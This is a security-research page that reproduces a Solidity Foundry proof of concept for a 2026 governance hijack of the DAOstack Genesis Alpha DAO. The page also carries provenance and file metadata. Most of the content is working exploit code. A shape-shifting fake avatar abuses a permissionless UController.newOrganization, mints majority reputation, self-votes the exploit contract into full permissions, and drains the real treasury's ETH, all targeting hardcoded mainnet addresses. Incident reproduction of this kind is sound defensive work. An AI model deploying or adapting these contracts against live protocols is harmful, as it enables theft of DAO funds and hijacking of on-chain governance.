Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/DAOstack_exp.sol

Public reproduction file for dataset entry DAOstack.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/DAOstack_exp.sol240 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.16;
3
4import "../basetest.sol";
5
6// DAOstack Genesis Alpha - governance hijack via permissionless UController.newOrganization.
7// Ethereum mainnet, 2026-09.
8//
9// Attack tx : 0xcfff7b060a7fb881f4bd8d2498dbe4e09454f7afaf5328fc12b59812f6737cc1
10// Block : 26059090 (fork at parent 26059089)
11// Attacker : EOA 0x5cF6bf4197c13b9C0Ae4AECC6Eb10Ef61bC6bEB0. The tx `to` is EMPTY, so this is a
12// CONTRACT-CREATION transaction: the attacker's factory (0xa90BBd7f...) ran the whole
13// attack from its constructor, which deployed a logic contract (0x304A8E57...) and
14// called run() on it. This PoC reconstructs that logic contract as DAOstackExploit.
15//
16// Contracts (Ethereum, chainid 1) - NONE are verified on Etherscan, so every call below uses the
17// exact 4-byte selector recovered from the attack trace with real typed arguments. This is a
18// structural reconstruction from decoded values, not a raw-calldata blob or a bytecode replay.
19// UController (shared DAOstack controller, owns the Reputation) : 0xD5bEe5D9Ae589094c51e533f35656963fdA87305
20// Genesis Alpha DAO Avatar / treasury (victim) : 0x7b11dFb29504abc8C0DFa60DC7E0Aa2AAe836DB0
21// Reputation (voting weight, Ownable by the UController) : 0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9
22// Native token GDT (Ownable by the UController) : 0xe30a71938b743d126E977A2b3F7450484F209a34
23// SchemeRegistrar : 0x781f48F300f9c2f4862347537927FC9Dc48415E0
24// GenesisProtocol voting machine : 0xFBaEf31bdEaCFA0a7902123005288784Dcc1EEba
25//
26// Selectors verified with `cast sig` against the trace-decoded calls:
27// newOrganization(address) 0xb9981364 (UController)
28// mintReputation(uint256,address,address) 0xeaf994b2 (UController)
29// sendEther(uint256,address,address) 0x634965da (UController)
30// proposeScheme(address,address,bytes32,bytes4) 0x1c940d51 (SchemeRegistrar)
31// vote(bytes32,uint256) 0x9ef1204c (GenesisProtocol)
32//
33// ROOT CAUSE (confirmed empirically against the fork and the on-chain trace, since source is
34// unverified):
35// The DAO's Reputation contract is Ownable by the SHARED UController (verified on fork:
36// Reputation.owner() == UController, and Avatar.owner() == UController). UController.newOrganization
37// is permissionless - it takes a caller-supplied avatar, reads that avatar's own
38// nativeReputation()/nativeToken(), stores them as the new org, and registers msg.sender as a
39// full-permission (0x1F) scheme over that org. It NEVER checks that the reputation is already
40// governed by another organization. Proof it is unguarded: in the trace, msg.sender was the
41// attacker's brand-new contract with no prior relationship to the DAO, and the call succeeded
42// (see testNewOrganizationIsPermissionless below, which re-derives this from a fresh unrelated
43// address on the live fork).
44//
45// So the attacker registered a fake avatar that reports the VICTIM's real Reputation as its own,
46// became a mint-authorized scheme over it, and had the UController (the Reputation's owner) mint
47// reputation to the attacker. With majority reputation the attacker used SchemeRegistrar's
48// propose/self-vote/execute flow to install itself as a 0x1F scheme on the REAL avatar, then
49// called sendEther to drain the treasury.
50//
51// THE FAKE AVATAR IS A SHAPE-SHIFTER (mirrors the on-chain helper 0xD9902ea5... exactly). In the
52// trace its getters return a freshly-deployed decoy on the FIRST read of each and the victim's REAL
53// contracts on every read after that:
54// nativeReputation(): call #1 -> decoy 0x7f7d02dd... , calls #2+ -> real 0x6256294145fb...
55// nativeToken(): call #1 -> decoy 0x20aef079... , calls #2+ -> real 0xe30a71938b...
56// owner(): -> UController
57// newOrganization reads each getter several times; the read it uses for storage returns the real
58// reputation, so the registered org points at the victim's real Reputation (confirmed: the later
59// mintReputation minted on 0x6256294145fb...). This PoC reproduces that exact per-getter fake-first
60// behaviour; it does not need to know which internal read fed which check, because the real
61// UController on the fork responds identically to the identical getter behaviour.
62//
63// FLOW / NUMBERS (from the trace and confirmed on the fork at block 26059089):
64// Reputation.totalSupply before : 9,738.627137e18
65// mintReputation minted : 20,000e18 to the attacker scheme -> supply 29,738.627137e18
66// GenesisProtocol burns : 200e18 from the attacker as vote cost -> net attacker 19,800e18,
67// supply 29,538.627137e18 (matches the reported 19,800 / 29,538)
68// Avatar ETH balance at fork : exactly 4.025 ETH
69// sendEther drains : 4.025 ETH (the full treasury balance)
71interface IUController {
72 function newOrganization(address _avatar) external;
73 function mintReputation(uint256 _amount, address _to, address _avatar) external returns (bool);
74 function sendEther(uint256 _amountInWei, address _to, address _avatar) external returns (bool);
77interface ISchemeRegistrar {
78 function proposeScheme(
79 address _avatar,
80 address _scheme,
81 bytes32 _parametersHash,
82 bytes4 _permissions
83 ) external returns (bytes32);
86interface IGenesisProtocol {
87 function vote(bytes32 _proposalId, uint256 _vote) external returns (bool);
90interface IReputation {
91 function totalSupply() external view returns (uint256);
92 function reputationOf(address _owner) external view returns (uint256);
95// A do-nothing contract with nonzero code size, used as the first-read decoy for the fake avatar's
96// getters (the on-chain helper deployed 57-byte stubs for this; newOrganization only ever reads
97// them as addresses, never calls into them).
98contract Stub {}
100// Reconstruction of the attacker's fake avatar (on-chain 0xD9902ea5...). Reports the victim's real
101// Reputation/token as its own, but returns a decoy on the first read of each getter, exactly as the
102// trace shows.
103contract FakeAvatar {
104 address public immutable controller; // returned by owner()
105 address public immutable realReputation;
106 address public immutable realToken;
107 address public immutable decoyReputation;
108 address public immutable decoyToken;
110 uint256 private repReads;
111 uint256 private tokenReads;
113 constructor(address _controller, address _realReputation, address _realToken) {
114 controller = _controller;
115 realReputation = _realReputation;
116 realToken = _realToken;
117 decoyReputation = address(new Stub());
118 decoyToken = address(new Stub());
119 }
121 function owner() external view returns (address) {
122 return controller;
123 }
125 function nativeReputation() external returns (address) {
126 repReads += 1;
127 return repReads == 1 ? decoyReputation : realReputation;
128 }
130 function nativeToken() external returns (address) {
131 tokenReads += 1;
132 return tokenReads == 1 ? decoyToken : realToken;
133 }
136// Reconstruction of the attacker's logic/scheme contract (on-chain 0x304A8E57...). It is the
137// msg.sender to newOrganization, the scheme installed with 0x1F permissions, the reputation holder
138// that votes, and the recipient of the drained ETH. It forwards the proceeds to its deployer.
139contract DAOstackExploit {
140 IUController constant UCONTROLLER = IUController(0xD5bEe5D9Ae589094c51e533f35656963fdA87305);
141 ISchemeRegistrar constant SCHEME_REGISTRAR = ISchemeRegistrar(0x781f48F300f9c2f4862347537927FC9Dc48415E0);
142 IGenesisProtocol constant VOTING_MACHINE = IGenesisProtocol(0xFBaEf31bdEaCFA0a7902123005288784Dcc1EEba);
144 address constant VICTIM_AVATAR = 0x7b11dFb29504abc8C0DFa60DC7E0Aa2AAe836DB0;
145 address constant REAL_REPUTATION = 0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9;
146 address constant REAL_TOKEN = 0xe30a71938b743d126E977A2b3F7450484F209a34;
148 uint256 constant MINT_AMOUNT = 20_000e18; // gives the attacker a >66% majority of reputation
149 uint256 constant DRAIN_AMOUNT = 4.025 ether; // the avatar's full ETH balance at the fork block
151 address immutable beneficiary;
153 constructor() {
154 beneficiary = msg.sender;
155 }
157 function run() external {
158 // 1. Deploy the shape-shifting fake avatar that reports the victim's real Reputation/token.
159 FakeAvatar fakeAvatar = new FakeAvatar(address(UCONTROLLER), REAL_REPUTATION, REAL_TOKEN);
161 // 2. Register as a full-permission scheme over an org that points at the real Reputation.
162 // Permissionless: this contract has no prior relationship to the DAO.
163 UCONTROLLER.newOrganization(address(fakeAvatar));
165 // 3. The UController owns the real Reputation, so as a mint-authorized scheme we mint a
166 // majority stake to ourselves on the VICTIM's real Reputation.
167 require(UCONTROLLER.mintReputation(MINT_AMOUNT, address(this), address(fakeAvatar)), "mint failed");
169 // 4. Propose installing ourselves as a 0x1F (all-permissions) scheme on the REAL avatar,
170 // then self-vote YES. Our fresh majority passes and executes it in one shot.
171 bytes32 proposalId =
172 SCHEME_REGISTRAR.proposeScheme(VICTIM_AVATAR, address(this), bytes32(0), bytes4(0x0000001f));
173 require(VOTING_MACHINE.vote(proposalId, 1), "vote failed");
175 // 5. Now a full-permission scheme on the real avatar: drain its ETH treasury to ourselves.
176 require(UCONTROLLER.sendEther(DRAIN_AMOUNT, address(this), VICTIM_AVATAR), "sendEther failed");
178 // Forward the proceeds to the deployer (the attacker EOA in the real incident).
179 (bool ok,) = beneficiary.call{value: address(this).balance}("");
180 require(ok, "forward failed");
181 }
183 receive() external payable {}
186contract DAOstackExploitTest is BaseTestWithBalanceLog {
187 IReputation constant REPUTATION = IReputation(0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9);
188 IUController constant UCONTROLLER = IUController(0xD5bEe5D9Ae589094c51e533f35656963fdA87305);
189 address constant VICTIM_AVATAR = 0x7b11dFb29504abc8C0DFa60DC7E0Aa2AAe836DB0;
190 address constant REAL_TOKEN = 0xe30a71938b743d126E977A2b3F7450484F209a34;
192 function setUp() public {
193 vm.createSelectFork("mainnet", 26_059_089); // parent of the attack block 26059090
194 fundingToken = address(0); // profit is native ETH
195 }
197 receive() external payable {}
199 function testExploit() public balanceLog {
200 uint256 supplyBefore = REPUTATION.totalSupply();
201 uint256 avatarEthBefore = VICTIM_AVATAR.balance;
202 assertEq(avatarEthBefore, 4.025 ether, "avatar treasury precondition");
204 DAOstackExploit exploit = new DAOstackExploit();
205 exploit.run();
207 // The attacker minted a majority stake on the DAO's real Reputation.
208 uint256 supplyAfter = REPUTATION.totalSupply();
209 assertEq(supplyAfter - supplyBefore, 20_000e18 - 200e18, "net reputation minted (mint 20000 - 200 vote cost)");
211 // Treasury drained: the avatar's ETH is gone and it landed with the attacker (this test).
212 assertEq(VICTIM_AVATAR.balance, 0, "avatar drained");
213 assertApproxEqAbs(address(this).balance, 4.025 ether, 1e15, "reproduced drain approximates 4.025 ETH");
214 }
216 // Confirms the CONFIRM item: newOrganization is genuinely permissionless and has no guard tying
217 // a Reputation to a single controlling organization. From a fresh, unrelated address we register
218 // a new org over the SAME real Reputation and mint to ourselves - which must be impossible if any
219 // access control or reputation-uniqueness check existed.
220 function testNewOrganizationIsPermissionless() public {
221 address stranger = makeAddr("stranger");
222 uint256 before = REPUTATION.reputationOf(stranger);
223 assertEq(before, 0, "stranger starts with no reputation");
225 vm.startPrank(stranger);
226 FakeAvatar fakeAvatar = new FakeAvatar(
227 address(UCONTROLLER), 0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9, REAL_TOKEN
228 );
229 UCONTROLLER.newOrganization(address(fakeAvatar)); // no revert -> no access control
230 bool ok = UCONTROLLER.mintReputation(1234e18, stranger, address(fakeAvatar));
231 vm.stopPrank();
233 assertTrue(ok, "mint on the victim's reputation succeeded for an arbitrary caller");
234 assertEq(
235 REPUTATION.reputationOf(stranger) - before,
236 1234e18,
237 "arbitrary caller minted on a reputation it never owned - no uniqueness guard"
238 );
239 }

Analysis

Dataset entry

Public Foundry test for “DAOstack” (2026-09-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5cf6bf4197c13b9c0ae4aecc6eb10ef61bc6beb0

  • Attack Tx

    0xcfff7b060a7fb881f4bd8d2498dbe4e09454f7afaf5328fc12b59812f6737cc1

File record

Name
DAOstack
Path
src/test/2026-09/DAOstack_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9a086e6016b1a5b8c093c8794259fc20f01410f5
Language
Solidity
Size
241 lines
Date
2026-09-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/DAOstack_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9a086e6016b1a5b8c093c8794259fc20f01410f5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.